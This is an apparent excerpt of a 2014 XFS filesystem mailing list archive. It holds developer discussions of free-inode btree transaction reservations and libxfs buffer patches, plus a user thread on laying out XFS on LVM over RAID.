Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH v3 04/11] xfs: update inode allocation/free transaction reservations for finobt References: <1391536182-9048-1-git-send-email-bfoster@redhat.com> <1391536182-9048-5-git-send-email-bfoster@redhat.com> <20140211064609.GE13647@dastard> <52FA4E61.9040908@redhat.com> <20140220010055.GK4916@dastard> X-ASG-Orig-Subj: Re: [PATCH v3 04/11] xfs: update inode allocation/free transaction reservations for finobt In-Reply-To: <20140220010055.GK4916@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1392912267 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 02/19/2014 08:00 PM, Dave Chinner wrote: > On Tue, Feb 11, 2014 at 11:22:57AM -0500, Brian Foster wrote: >> On 02/11/2014 01:46 AM, Dave Chinner wrote: >>> On Tue, Feb 04, 2014 at 12:49:35PM -0500, Brian Foster wrote: >>>> Create the xfs_calc_finobt_res() helper to calculate the finobt log >>>> reservation for inode allocation and free. Update >>>> XFS_IALLOC_SPACE_RES() to reserve blocks for the additional finobt >>>> insertion on inode allocation. Create XFS_IFREE_SPACE_RES() to >>>> reserve blocks for the potential finobt record insertion on inode >>>> free (i.e., if an inode chunk was previously fully allocated). > .... >>>> + * >>>> + * the free inode btree: max depth * block size >>>> + * the free inode btree entry: block size >>>> + * >>>> + * TODO: is the modify res really necessary? covered by the merge/split res? >>>> + * This seems to be the pattern of ifree, but not create_resv_alloc. Why? >>> >>> The modify case is for an allocation that only updates an inobt >>> record (i.e. chunk already allocated, free inodes in it). Because >>> we can remove a finobt record when "modifying" the last free inode >>> record in a chunk, "modify" can cause a redcord removal and hence a >>> tree merge. In which case it's no different of any of the other >>> finobt reservations.... >> >> When I made this note, I think I was curious why there was a need to add >> to the reservation in the modify case. If we always made a reservation >> for a btree merge, wouldn't that be enough to cover the basic modify >> case? > > The two cases are kept separate because if we ever separate inode > chunk allocation from individual inode allocation from an allocated > chunk, then we need the different reservations. if you go back to > the original RFD series that documented the finobt, it also > discusses this separation and the optimisations in inode management > that such a separation brings. > > Hence we should not assume that an inode chunk allocation > reservation covers the reservation of an inode allocation from an > allocated chunk. > Ok. >> In the code, it looks like we either delete the record or modify >> it. Is there something in the delete case that I'm missing, or are we >> just being conservative here? Nonetheless, I modelled this after the >> ifree requirements, assuming the reservation there was correct. > > But the ifree requirement changed, didn't they? i.e. Because the > first inode freed in a chunk can now trigger allocation. > > Basically, we have these cases: > > Allocation: > > - allocate chunk, insert inobt rec, insert finobt rec > - allocate inode, modify inobt rec, modify finobt rec > - allocate inode, modify inobt rec, remove finobt rec > > The first case is obvious in that it needs to allocate blocks > for the inode chunk, but also possibly the inbot and finobt need > allocations too (split). > > The second case obvious doesn't allocate any blocks at all, > and tha tis the existing "modify reservation" > > The third case is the new "modify reservation" case, where the > removal of a finobt record can cause a merge and hence freeing of a > block. That's the case we need to make sure we have the corerct > reservation for. > > In the case of ifree, it is similar: > > - free inode, modify inobt rec, insert finobt rec > - free inode, modify inobt rec, modify finobt rec > - free chunk, remove inobt rec, remove finobt rec > > And so it is clear that the same new case occurs here. however, the > ifree transaction reservation is not split up like the create > transaction, so it already takes into account allocation/freeing of > blocks and hence didn't need updating. > Ok, I think I see what you're saying here based on this and our previous irc conversation. I previously looked at the allocation btrees portion of the icreate and ifree reservations as being associated with the allocation and free of the inode chunk. Not associated in any way with the inobt, because of the reasoning that would have to account for the allocation btrees _again_. Per our irc conversation, it is not technically required to account for the allocation btrees multiple times in the situations where we do multiple allocations, i.e.: allocate inode chunks (one alloc. btree modification) and then allocate again if we need blocks for the inobt to insert the record (a second alloc. btree modification). Conversely, it is a requirement to account for the allocation btrees at least once in any situation where we insert or remove a record from the inobt/finobt. The icreate_resv_alloc() calculation already covers any subsequent allocation btree modifications on behalf of the finobt by virtue of the explicit allocation of the inode chunk. The icreate_resv_modify() calculation does not cover allocation btree modifications on behalf of the finobt because it made no explicit allocations in the first place. It only modified the inobt record, which will not allocate/free on behalf of the inobt. >>>> @@ -267,6 +298,7 @@ xfs_calc_remove_reservation( >>>> * the superblock for the nlink flag: sector size >>>> * the directory btree: (max depth + v2) * dir block size >>>> * the directory inode's bmap btree: (max depth + v2) * block size >>>> + * the finobt >>>> */ >>>> STATIC uint >>>> xfs_calc_create_resv_modify( >>>> @@ -275,7 +307,8 @@ xfs_calc_create_resv_modify( >>>> return xfs_calc_inode_res(mp, 2) + >>>> xfs_calc_buf_res(1, mp->m_sb.sb_sectsize) + >>>> (uint)XFS_FSB_TO_B(mp, 1) + >>>> - xfs_calc_buf_res(XFS_DIROP_LOG_COUNT(mp), XFS_FSB_TO_B(mp, 1)); >>>> + xfs_calc_buf_res(XFS_DIROP_LOG_COUNT(mp), XFS_FSB_TO_B(mp, 1)) + >>>> + xfs_calc_finobt_res(mp, 1); >>>> } >>> >>> And this is where is starts to get complex. The modify operation can >>> now cause a finobt merge, when means blocks will be allocated/freed. >>> That means we now need to take into account: >>> >>> * the allocation btrees: 2 trees * (max depth - 1) * block size >>> >>> and anything else freeing an extent requires. >>> >> >> So is the "allocation btrees: 2 trees ..." portion of >> xfs_calc_create_resv_alloc() associated with the allocation of the >> actual inode blocks or potential allocations due to inode btree >> management? I had thought the former, thus didn't include reservations >> for this in the finobt calculation. > > This is the log space reservation - so it's a reservation for the > number of blocks in the btree that can be *modified* by the > transaction. So if we have to allocate a block, we can potentially > modify leaf-to-root in both free space trees if they both split or > merge during the allocation. Hence any transaction that can allocate > or free a block needs to reservae this space in the log for the > freespace tree modifications. > > We have a separate space reservation - as defined in > xfs_trans_space.h - which is used to define the worst case metadata > block allocation in a given transaction. It is assumed that the log > space reservation covers all those blocks being modified, too. > Right, I get that part with regard to the reservation of blocks vs. reservation of log space. My question was what we discussed over irc. Specifically, the semantics of what the allocation btrees portion of the res. calc covers - potentially multiple freespace tree modifications vs. one instance per freespace tree modification. Thanks for the explanation. I understand now why we need to include the allocation btrees due to the finobt under the create_resv_modify() scenario and not the others. ;) Brian > Cheers, > > Dave. > From chamill@wesleyan.edu Thu Feb 20 12:31:34 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 65A0E7FAD for ; Thu, 20 Feb 2014 12:31:34 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 4F32C304053 for ; Thu, 20 Feb 2014 10:31:31 -0800 (PST) X-ASG-Debug-ID: 1392921086-04cbb00c2b61ef30001-NocioJ Received: from internal-smtp4.wesleyan.edu (internal-smtp4.wesleyan.edu [129.133.6.200]) by cuda.sgi.com with ESMTP id 3RvXpYcdCSqjBLi3 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 20 Feb 2014 10:31:26 -0800 (PST) X-Barracuda-Envelope-From: chamill@wesleyan.edu X-Barracuda-Apparent-Source-IP: 129.133.6.200 Received: from localhost (al.wesleyan.edu [129.133.22.76]) (authenticated bits=0) by msa.wesleyan.edu (8.14.4/8.14.4) with ESMTP id s1KIVPd9021231 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NOT) for ; Thu, 20 Feb 2014 13:31:25 -0500 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=wesleyan.edu; s=feb2013.wesmsa; t=1392921085; bh=RWfaBpSRsrC9DbkP02M8y04cjUc47lcKwvB5G+yTWQM=; h=From:To:References:In-Reply-To:Subject:Date; b=L27ZKY+jyhrhfx6S78RvFOC/AwOkpXILGWMH7XUPd203Xagn2bauukFWQI+e+H3UT tHdk2tiK0D33o/bCbbmtQI2RELlYdytYSaEyVsha+ax5dXsBsEecUalC7Fh/EJkmS7 INiOTqTEa92X1mrJhFNzk7hWelxco+3Yp8r7dewo= Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable From: "C. Morgan Hamill" User-Agent: alot/0.3.5 To: xfs@oss.sgi.com References: <52E91923.4070706@sandeen.net> <52EB3B96.7000103@hardwarefreak.com> <1391202273-sup-9265@al.wesleyan.edu> <52ED61C9.8060504@hardwarefreak.com> <20140202212152.GP2212@dastard> <1391443675-sup-1730@al.wesleyan.edu> <20140203214128.GR13997@dastard> <52F09E36.8050606@hardwarefreak.com> <1392748390-sup-1943@al.wesleyan.edu> <5303E7AC.50903@hardwarefreak.com> In-Reply-To: <5303E7AC.50903@hardwarefreak.com> Message-ID: <20140220183125.29149.64880@al.wesleyan.edu> Subject: Re: Question regarding XFS on LVM over hardware RAID. Date: Thu, 20 Feb 2014 13:31:25 -0500 X-ASG-Orig-Subj: Re: Question regarding XFS on LVM over hardware RAID. X-Wesleyan-MailScanner-ID: s1KIVPd9021231 X-Wesleyan-MailScanner: Found to be clean X-Wesleyan-MailScanner-From: chamill@wesleyan.edu X-Barracuda-Connect: internal-smtp4.wesleyan.edu[129.133.6.200] X-Barracuda-Start-Time: 1392921086 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145324 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Quoting Stan Hoeppner (2014-02-18 18:07:24) > Create each LV starting on a stripe boundary. There will be some > unallocated space between LVs. Use the mkfs.xfs -d size=3D option to > create your filesystems inside of each LV such that the filesystem total > size is evenly divisible by the stripe width. This results in an > additional small amount of unallocated space within, and at the end of, > each LV. Of course, this occurred to me just after sending the message... ;) > It's nice if you can line everything up, but when using RAID6 and one or > two bays for hot spares, one rarely ends up with 8 or 16 data spindles. > = > > If not, I'll tweak things to ensure my stripe width is a power of 2. > = > That's not possible with 12 data spindles per RAID, not possible with 42 > drives in 3 chassis. Not without a bunch of idle drives. The closest I can come is with 4 RAID 6 arrays of 10 disks each, then striped over: 8 * 128k =3D 1024k 1024k * 4 =3D 4096k Which leaves me with 5 disks unused. I might be able to live with that if it makes things work better. Sounds like I won't have to. > I still don't understand why you believe you need LVM in the mix, and > more than one filesystem. > Backup software is unaware of mount points. It uses paths just like > every other program. The number of XFS filesystems is irrelevant to > "minimizing the effects of the archive maintenance jobs". You cannot > bog down XFS. You will bog down the drives no matter how many > filesystems when using RAID60. A limitation of the software in question is that placing multiple archive paths onto a single filesystem is a bit ugly: the software does not let you specifiy a maximum size for the archive paths, and so will think all of them are the size of the filesystem. This isn't an issue in isolation, but we need to make use of a data-balancing feature the software has, which will not work if we place multiple archive paths on a single filesystem. It's a stupid issue to have, but it is what it is. > Here is what you should do: > = > Format the RAID60 directly with XFS. Create 3 or 4 directories for > CrashPlan to use as its "store points". If you need to expand in the > future, as I said previously, simply add another 14 drive RAID6 chassis, > format it directly with XFS, mount it at an appropriate place in the > directory tree and give that path to CrashPlan. Does it have a limit on > the number of "store points"? Yes, this is what I *want* to do. There's a limit to the number of store points, but it's large, so this would work fine if not for the multiple-stores-on-one-filesystem issue. Which is frustrating. The *only* reason for LVM in the middle is to allow some flexibility of sizing without dealing with the annoyances of the partition table. I want to intentionally under-provision to start with because we are using a small corner of this storage for a separate purpose but do not know precisely how much yet. LVM lets me leave, say, 10TB empty, until I know exactly how big things are going to be. It's a pile of little annoyances, but so it goes with these kinds of things. It sounds like the little empty spots method will be fine though. Thanks, yet again, for all your help. -- Morgan Hamill From bfoster@redhat.com Thu Feb 20 12:49:20 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id AD6297FB2 for ; Thu, 20 Feb 2014 12:49:20 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 2F140AC004 for ; Thu, 20 Feb 2014 10:49:16 -0800 (PST) X-ASG-Debug-ID: 1392922155-04cb6c6de1626900001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id hOfrFOzg26C3fQSR for ; Thu, 20 Feb 2014 10:49:15 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1KInDGo028773 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 20 Feb 2014 13:49:14 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1KInBff008203; Thu, 20 Feb 2014 13:49:12 -0500 Message-ID: <53064E26.2050607@redhat.com> Date: Thu, 20 Feb 2014 13:49:10 -0500 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH v3 04/11] xfs: update inode allocation/free transaction reservations for finobt References: <1391536182-9048-1-git-send-email-bfoster@redhat.com> <1391536182-9048-5-git-send-email-bfoster@redhat.com> <20140211064609.GE13647@dastard> <530393F8.4070106@redhat.com> <20140220020101.GL4916@dastard> X-ASG-Orig-Subj: Re: [PATCH v3 04/11] xfs: update inode allocation/free transaction reservations for finobt In-Reply-To: <20140220020101.GL4916@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1392922155 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 02/19/2014 09:01 PM, Dave Chinner wrote: > [patched in the extra case from your subsequent reply] > > On Tue, Feb 18, 2014 at 12:10:16PM -0500, Brian Foster wrote: >> On 02/11/2014 01:46 AM, Dave Chinner wrote: >>> On Tue, Feb 04, 2014 at 12:49:35PM -0500, Brian Foster wrote: >>>> Create the xfs_calc_finobt_res() helper to calculate the finobt log >>>> reservation for inode allocation and free. Update >>>> XFS_IALLOC_SPACE_RES() to reserve blocks for the additional finobt >>>> insertion on inode allocation. Create XFS_IFREE_SPACE_RES() to >>>> reserve blocks for the potential finobt record insertion on inode >>>> free (i.e., if an inode chunk was previously fully allocated). >>>> >>>> Signed-off-by: Brian Foster >>>> --- >>>> fs/xfs/xfs_inode.c | 4 +++- >>>> fs/xfs/xfs_trans_resv.c | 47 +++++++++++++++++++++++++++++++++++++++++++---- >>>> fs/xfs/xfs_trans_space.h | 7 ++++++- >>>> 3 files changed, 52 insertions(+), 6 deletions(-) >>>> >>>> diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c >>>> index 001aa89..57c77ed 100644 >>>> --- a/fs/xfs/xfs_inode.c >>>> +++ b/fs/xfs/xfs_inode.c >>>> @@ -1730,7 +1730,9 @@ xfs_inactive_ifree( >>>> int error; >>>> >>>> tp = xfs_trans_alloc(mp, XFS_TRANS_INACTIVE); >>>> - error = xfs_trans_reserve(tp, &M_RES(mp)->tr_ifree, 0, 0); >>>> + tp->t_flags |= XFS_TRANS_RESERVE; >>>> + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_ifree, >>>> + XFS_IFREE_SPACE_RES(mp), 0); >>> >>> Can you add a comment explaining why the XFS_TRANS_RESERVE flag is >>> used here, and why it's use won't lead to accelerated reserve pool >>> depletion? >>> >> >> So this aspect of things appears to be a bit more interesting than I >> originally anticipated. I "reserve enabled" this transaction to >> facilitate the ability to free up inodes under ENOSPC conditions. >> Without this, the problem of failing out of xfs_inactive_ifree() (and >> leaving an inode chained on the unlinked list) is easily reproducible >> with generic/083. > > *nod* > >> The basic argument for why this is reasonable is that releasing an inode >> releases used space (i.e., file blocks and potentially directory blocks >> and inode chunks over time). That said, I can manufacture situations >> where this is not the case. E.g., allocate a bunch of 0-sized files, >> consume remaining free space in some separate file, start removing >> inodes in a manner that removes a single inode per chunk or so. This >> creates a scenario where the inobt can be very large and the finobt very >> small (likely a single record). Removing the inodes in this manner >> reduces the likelihood of freeing up any space and thus rapidly grows >> the finobt towards the size of the inobt without any free space >> available. This might or might not qualify as sane use of the fs, but I >> don't think the failure scenario is acceptable as things currently stand. > > Right, that can happen. But my question is this: how realistic is it > that we have someone who has ENOSPC because of enough zero length > files to trigger this? I've never seen an application or user try to > store any significant number of zero length files, so I suspect this > is a theoretical problem, not a practical one. > Probably not very realistic. ;) The only thing I know that does rely on some zero-length files is gluster distribution to represent "link files" when one a file that hashes to one server ends up stored on another. Even then, I don't see how we would ever have a situation where those link files exist in such massive numbers and are removed in bulk. So it's likely a pathological scenario. > Indeed, the finobt only needs to grow a block for every 250-odd > records for a 4k block size filesystem. Hence, IMO, the default > reserve pool size of 8192 filesystem blocks is going be sufficient > for most users. i.e. the case you are talking about requires > (ignoring node block usage for simplicity) 250 * 8192 * 64 = 131 > million zero length inodes to be present in the filesystem to have > this "1 inode per chunk" freeing pattern exhaust the default reserve > pool with finobt tree allocations.... > Well, only ~2 million of the ~131 million you happen to free would have to be 0-sized and per-chunk, right? ;) I guess sub aligned inode chunk sized would be more accurate than 0-sized as well. But regardless, this doesn't seem probable. >> I think there are several ways this can go from here. A couple ideas >> that have crossed my mind: >> >> - Find a way to variably reserve the number of blocks that would be >> required to grow the finobt to the finobt, based on current state. This > > Not sure what "grow the finobt to the finobt" means. There's a typo > or a key word missing there ;) > That should read "grow the finobt to the inobt," referring to the size in terms of number of records in the tree. >> would require the total number of blocks (not just enough for a split), >> so this could get complex and somewhat overbearing (i.e., a lot of space >> could be quietly reserved, current tracking might not be sufficient and >> the allocation paths could get hairy). > > Doesn't seem worth the complexity to me. > Agreed. >> - Work to push the ifree transaction allocation and reservation to the >> unlink codepath rather than the eviction codepath. Under normal >> circumstances, chain the tp to the xfs_inode such that the eviction code >> path can grab it and run. This prevents us going into the state where an >> inode is unlinked without having enough space to free up. On the flip >> side, ENOSPC on unlink isn't very forgiving behavior to the user. > > That's the long term plan anyway - to move to background freeing of > the inodes once they are on the unlinked list and unreferenced by > the VFS. But, really, once the inode is on the unlinked list we can > probably ignore the ENOSPC problem because we know that it is > unlinked. > > Indeed, the long term plan (along with background freeing) is to > allow inode allocation direct from the unlinked lists, and that > means we could leave the inodes on the unlinked lists and not > care about the ENOSPC problem at all ;) > Ah, ok. I had a similar thought as well about having some kind of background scanner for unlinked list inodes that kicks in when we know we have evicted inodes on the list... >> - Add some state or flags bits to the finobt and the associated >> ability to kill/invalidate it at runtime. Print a warning with >> regard to the situation that indicates performance might be >> affected and a repair is required to re-enable. > > We've already got that state through the unlinked lists. Again, > go back to the RFD series and look through the followup work.... > ... and taking a quick look back through that, I see 14/17 refers to precisely such a mechanism. I thought that sounded familiar. ;) >> >> I think the former approach is probably overkill for something that >> might be a pathological situation. The latter approach is more simple, >> but it feels like a bit of a hack. I've experimented with it a bit, but >> I'm not quite sure yet if it introduces any transaction issues by >> allocating the unlink and ifree transactions at the same time. >> >> Perhaps another argument could be made that it's rather unlikely we run >> into an fs with as many 0-sized (or sub-inode chunk sized) files as >> required to deplete the reserve pool without freeing any space, and we >> should just touch up the failure handling. E.g., >> >> 1.) Continue to reserve enable the ifree transaction. Consider expanding >> the reserve pool on finobt-enabled fs' if appropriate. Note that this is >> not guaranteed to provide enough resources to populate the finobt to the >> level of the inobt without freeing up more space. >> 2.) Attempt a !XFS_TRANS_RESERVE tp reservation in xfs_inactive_ifree(). >> If fails, xfs_warn()/notice() and enable XFS_TRANS_RESERVE. >> 3.) Attempt XFS_TRANS_RESERVE reservation. If fails, xfs_notice() and >> shutdown. > > I don't think we ned to shut down. Indeed, there's no point in doing > an !XFS_TRANS_RESERVE in the first place because a warning will just > generate unnecessary noise in the logs. > > Realistically, we can leave inodes on the unlinked list > indefinitely without causing any significant problems except for > there being used space that users can't account for from the > namespace. Log recovery cleans them up when it runs, or blows away > the unlinked list when it fails, and that results in leaked inodes. > If we get to that point, xfs-repair will clean it up just fine > unless there's still not enough space. At that point, it's not a > problem we can solve with tools - the user has to free up some space > in the filesystem.... > Ok, the current failure behavior (as unlikely as it seems to hit) seems less hasty given the roadmap for improved unlinked list management. I'm not sure how log recovery plays into things unless there is a crash. In my experiments, the inodes are simply never freed and linger on the unlinked list until repair. Repair moves everything to lost+found as opposed to freeing (I presume since the inodes are still "allocated" after all), but repairs the fs nonetheless. >> And this could probably be made more intelligent to bail out sooner if >> we repeat XFS_TRANS_RESERVE reservations without freeing up any space, >> etc. Before going too far in one direction... thoughts? > > Right now, I just don't think it is a case we need to be > pariticularly concerned with. There are plenty of theoretical issues > that can occur (including data loss) when the reserve pool is > depleted because of prolonged ENOSPC issues, but the reality is > that the only place we see this code being exercised is by the tests > in xfstests that intentionally trigger reserve pool depletion.... > Fair enough, I'll leave things generally as is apart from the review feedback. I might add a warning or ratelimited printk in the inactive ENOSPC failure path, just so it's not completely silent if it does trigger in the wild. Thanks for the feedback. Brian > Cheers, > > Dave. > From sandeen@sandeen.net Thu Feb 20 13:06:07 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 9A9F77FB5 for ; Thu, 20 Feb 2014 13:06:07 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 8337530407B for ; Thu, 20 Feb 2014 11:06:04 -0800 (PST) X-ASG-Debug-ID: 1392923162-04cbb00c296214b0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id KrBu8Hpqo8o5Ek4H for ; Thu, 20 Feb 2014 11:06:03 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 99B266541623; Thu, 20 Feb 2014 13:06:02 -0600 (CST) Message-ID: <5306521A.8010207@sandeen.net> Date: Thu, 20 Feb 2014 13:06:02 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Dave Chinner , xfs@oss.sgi.com Subject: Re: [PATCH 1/2] libxfs: contiguous buffers are not discontigous References: <1392875722-4390-1-git-send-email-david@fromorbit.com> <1392875722-4390-2-git-send-email-david@fromorbit.com> X-ASG-Orig-Subj: Re: [PATCH 1/2] libxfs: contiguous buffers are not discontigous In-Reply-To: <1392875722-4390-2-git-send-email-david@fromorbit.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1392923162 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145324 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 2/19/14, 11:55 PM, Dave Chinner wrote: > From: Dave Chinner > > When discontiguous directory buffer support was fixed in xfs_repair, > (dd9093d xfs_repair: fix discontiguous directory block support) > it changed to using libxfs_getbuf_map() to support mapping > discontiguous blocks, and the prefetch code special cased such > discontiguous buffers. > > The issue is that libxfs_getbuf_map() marks all buffers, even > contiguous ones - as LIBXFS_B_DISCONTIG, and so the prefetch code > was treating every buffer as discontiguous. This causes the prefetch > code to completely bypass the large IO optimisations for dense areas > of metadata. Because there was no obvious change in performance or > IO patterns, this wasn't noticed during performance testing. > > However, this change mysteriously fixed a regression in xfs/033 in > the v3.2.0-alpha release, and this change in behaviour was > discovered as part of triaging why it "fixed" the regression. > Anyway, restoring the large IO prefetch optimisation results > a reapiron a 10 million inode filesystem dropping from 197s to 173s, > and the peak IOPS rate in phase 3 dropping from 25,000 to roughly > 2,000 by trading off a bandwidth increase of roughly 100% (i.e. > 200MB/s to 400MB/s). Phase 4 saw similar changes in IO profile and > speed increases. > > This, however, re-introduces the regression in xfs/033, which will > now be fixed in a separate patch. Thanks for finding this. I was getting close. ;) It seems fine, although a little unexpected; why do we ever create a map of 1? It feels a little odd to call getbuf_map with only 1 item, and then short-circuit it. Should this be something more obvious in the callers? Wel, I guess it's pretty much consistent w/ the same behavior in libxfs_readbuf_map()... *shrug* Reviewed-by: Eric Sandeen > Reported-by: Eric Sandeen > Signed-off-by: Dave Chinner > --- > libxfs/rdwr.c | 4 ++++ > 1 file changed, 4 insertions(+) > > diff --git a/libxfs/rdwr.c b/libxfs/rdwr.c > index ac7739f..78a9b37 100644 > --- a/libxfs/rdwr.c > +++ b/libxfs/rdwr.c > @@ -590,6 +590,10 @@ libxfs_getbuf_map(struct xfs_buftarg *btp, struct xfs_buf_map *map, > struct xfs_bufkey key = {0}; > int i; > > + if (nmaps == 1) > + return libxfs_getbuf_flags(btp, map[0].bm_bn, map[0].bm_len, > + flags); > + > key.buftarg = btp; > key.blkno = map[0].bm_bn; > for (i = 0; i < nmaps; i++) { > From sandeen@sandeen.net Thu Feb 20 13:09:23 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1560C7FB7 for ; Thu, 20 Feb 2014 13:09:23 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id C58738F8035 for ; Thu, 20 Feb 2014 11:09:19 -0800 (PST) X-ASG-Debug-ID: 1392923354-04bdf00fc01f9180001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id jJyE5y2Ih0VWFzNG for ; Thu, 20 Feb 2014 11:09:15 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id A737D6541623; Thu, 20 Feb 2014 13:09:14 -0600 (CST) Message-ID: <530652DA.7010706@sandeen.net> Date: Thu, 20 Feb 2014 13:09:14 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Dave Chinner , xfs@oss.sgi.com Subject: Re: [PATCH 2/2] libxfs: clear stale buffer errors on write References: <1392875722-4390-1-git-send-email-david@fromorbit.com> <1392875722-4390-3-git-send-email-david@fromorbit.com> X-ASG-Orig-Subj: Re: [PATCH 2/2] libxfs: clear stale buffer errors on write In-Reply-To: <1392875722-4390-3-git-send-email-david@fromorbit.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1392923354 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 